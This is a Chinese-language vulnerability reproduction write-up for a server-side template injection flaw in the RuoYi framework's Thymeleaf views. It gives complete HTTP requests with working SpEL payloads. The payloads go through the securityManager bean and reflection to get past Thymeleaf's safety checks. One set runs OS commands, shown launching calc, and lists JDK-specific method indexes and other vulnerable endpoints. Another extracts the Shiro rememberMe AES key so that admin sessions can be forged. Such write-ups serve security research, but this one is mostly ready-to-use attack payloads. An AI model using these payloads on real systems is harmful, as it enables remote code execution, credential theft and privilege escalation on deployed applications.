SSTI 注入 RCE
漏洞复现
- jdk8u152(据作者所说当 jdk8u300+后盖 ssti 注入 rce 漏洞无法实现)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| POST /monitor/cache/getNames HTTP/1.1 Host: localhost Content-Length: 360 sec-ch-ua-platform: "Windows" X-CSRF-Token: NvGDcXsqxAZ3sO19ckQ7j0fSjEibDHcKoY7pCBAaCE4= Accept-Language: zh-CN,zh;q=0.9 sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/monitor/cache Accept-Encoding: gzip, deflate, br Cookie: JSESSIONID=605f03e0-f44b-4d92-a50d-13aa65ada551 Connection: keep-alive
fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x
|

上述的复现环境是在 jdk8u152 中进行的,据说该 rce 漏洞能够给在 jdk11、jdk17、jdk22 等环境中实现
不同的 jdk 大版本的 exec 方法的位置可能不同,可以通过爆破的方法获取争取的位置,例如下面的 jdk17 的 exec 方法所在的索引就是2。


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| POST /monitor/cache/getNames HTTP/1.1 Host: localhost Content-Length: 360 sec-ch-ua-platform: "Windows" X-CSRF-Token: MPmE+4uByjsUC+uvQTJa91ZbsKQZoXCWCjSlrWaI5sc= Accept-Language: zh-CN,zh;q=0.9 sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/monitor/cache Accept-Encoding: gzip, deflate, br Cookie: JSESSIONID=bfb93594-8c4d-4b40-9469-dd30c0226048 Connection: keep-alive
fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][2].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x
|

除了参考文章中的接口/monitor/cache/getNames,其他包含 SSTI 注入的接口也一样可以打通这个漏洞,例如以下的接口:
/monitor/cache/getKeys
/monitor/cache/getValue
/demo/form/localrefresh/task
对于/monitor/cache/getKeys和/monitor/cache/getValue需要包含有效的缓存名才能够正确打通 payload,/demo/form/localrefresh/task则不需要,系统默认存在的缓存名如下:



漏洞分析
在 Thymeleaf 3.0.12 及以上版本中,SpringStandardExpressionUtils 类引入了更严格的检查机制(如 containsSpELInstantiationOrStatic 或其后续演进版本 containsSpELInstantiationOrStaticOrParam)。
该检查明确禁止了以下 SpEL(Spring Expression Language)语法:
- 静态类型引用:
T(java.lang.Runtime) —— 禁止直接调用静态类。
- 对象实例化:
new java.io.File(...) —— 禁止使用 new 关键字创建对象。
- 参数引用:禁止访问
param 对象。
因此,之前常见的 Payload(如 ${T(java.lang.Runtime).getRuntime().exec(...)})会直接报错,被拦截。
既然不能“凭空”创建对象(不能用 new)也不能“直接”引用类(不能用 T()),攻击者需要寻找一个已经存在于 Spring 上下文中的对象作为切入点。
思路如下:
- 利用 Spring Bean:Thymeleaf 允许通过
@beanName 的语法直接访问 Spring 容器中管理的 Bean。这是合法的语法,不会被安全检查拦截。
- 寻找目标 Bean:RuoYi 集成了 Shiro,因此容器中必然存在名为
securityManager 的 Bean。
- 链式反射调用:一旦获取了一个 Java 对象(Bean),就可以通过标准的 Java 方法调用链(反射)来“顺藤摸瓜”:
对象.getClass() -> 获取 Class 对象。
Class.forName(...) -> 加载任意类(如 java.lang.Runtime)。
getMethod(...) -> 获取方法。
invoke(...) -> 执行方法。
总结:绕过的核心在于用“已有的 Bean 对象 + 反射链式调用”替代了被禁用的“静态类引用 + 构造函数”。
为了执行命令,我们需要获取 Runtime.getRuntime().exec()。
构造步骤:
- 入口:使用
@securityManager。
- 加载类:通过
@securityManager.getClass().forName("java.lang.Runtime") 来加载 Runtime 类。
- 获取方法:使用 SpEL 的集合选择语法
.getMethods().?[name=='getRuntime'][0] 筛选出 getRuntime 方法。
- 实例化:调用
invoke(null) 获取 Runtime 实例。
- 执行命令:再次获取
exec 方法并调用。
最终 Payload (jdk8u152):
1
| __|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x
|
注意:exec 方法在 getMethods() 返回数组中的索引(如 [0])可能随 JDK 版本不同而变化,攻击时可能需要爆破该索引(0-5)。
SSTI 注入获取 ShiroKey
漏洞复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| POST /monitor/cache/getNames HTTP/1.1 Host: localhost Content-Length: 205 sec-ch-ua-platform: "Windows" X-CSRF-Token: NvGDcXsqxAZ3sO19ckQ7j0fSjEibDHcKoY7pCBAaCE4= Accept-Language: zh-CN,zh;q=0.9 sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/monitor/cache Accept-Encoding: gzip, deflate, br Cookie: JSESSIONID=605f03e0-f44b-4d92-a50d-13aa65ada551 Connection: keep-alive
fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x
|


最新版 4.8.1 的 Ruoyi 框架在笨死并没有包含任何利用连的依赖,所以就算爆破所有的利用链也依旧无法利用执行命令。

漏洞分析
该漏洞的原理是基于 SSTI 注入 RCE 的延申,但是其危害在我看来并不大,根本原因在于,只要部署的若依没有对依赖进行修改和添加,就算获取了 shirokey,也没有办法找到有效的利用链实现 RCE。
在这就是能够提升后台用户权限,通过 Shiro Key 伪造管理员用户,将普通的后台用户权限,提升到更高的管理员权限用户,在进一步挖掘漏洞。
为了利用 Shiro 反序列化漏洞,需要获取 AES 密钥。密钥存储在 CookieRememberMeManager 对象中。
构造步骤:
- 入口:
@securityManager。
- 获取 Manager:调用
securityManager.getRememberMeManager()。
- 反射读取字段:通过反射找到
getCipherKey 方法(或直接访问字段,取决于可见性,通常用 getter)。
- 编码输出:利用 Java 的 Base64 工具类对字节数组进行编码,方便显示。
最终 Payload:
1
| __|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x
|
参考链接
- https://mp.weixin.qq.com/s/4yi0UOTgBCsGK6J8qSz8tQ?scene=1